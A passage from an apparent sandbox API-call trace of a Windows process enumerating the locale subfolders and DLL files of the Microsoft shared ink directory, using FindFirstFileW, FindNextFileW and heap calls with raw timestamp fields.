ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0276.443] GetProcessHeap () returned 0xaf0000 [0276.443] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0276.444] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.444] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0276.444] GetProcessHeap () returned 0xaf0000 [0276.444] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0276.444] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0276.445] GetProcessHeap () returned 0xaf0000 [0276.445] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0276.445] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.445] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.445] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.445] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0276.445] GetProcessHeap () returned 0xaf0000 [0276.445] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.445] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0276.445] GetProcessHeap () returned 0xaf0000 [0276.445] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.446] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.446] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.446] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.446] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.446] GetProcessHeap () returned 0xaf0000 [0276.446] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.446] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0276.446] GetProcessHeap () returned 0xaf0000 [0276.446] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.446] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.446] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.446] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.446] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.447] GetProcessHeap () returned 0xaf0000 [0276.447] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.447] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0276.447] GetProcessHeap () returned 0xaf0000 [0276.447] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.447] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.447] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.447] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.447] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.447] GetProcessHeap () returned 0xaf0000 [0276.447] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.447] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0276.447] GetProcessHeap () returned 0xaf0000 [0276.447] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.448] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.448] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.448] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.448] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.448] GetProcessHeap () returned 0xaf0000 [0276.448] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.448] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0276.448] GetProcessHeap () returned 0xaf0000 [0276.448] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.448] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.448] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.448] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.449] FindNextFileW (in: hFindFile=0xb03048, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.449] FindClose (in: hFindFile=0xb03048 | out: hFindFile=0xb03048) returned 1 [0276.449] GetProcessHeap () returned 0xaf0000 [0276.449] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.449] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, 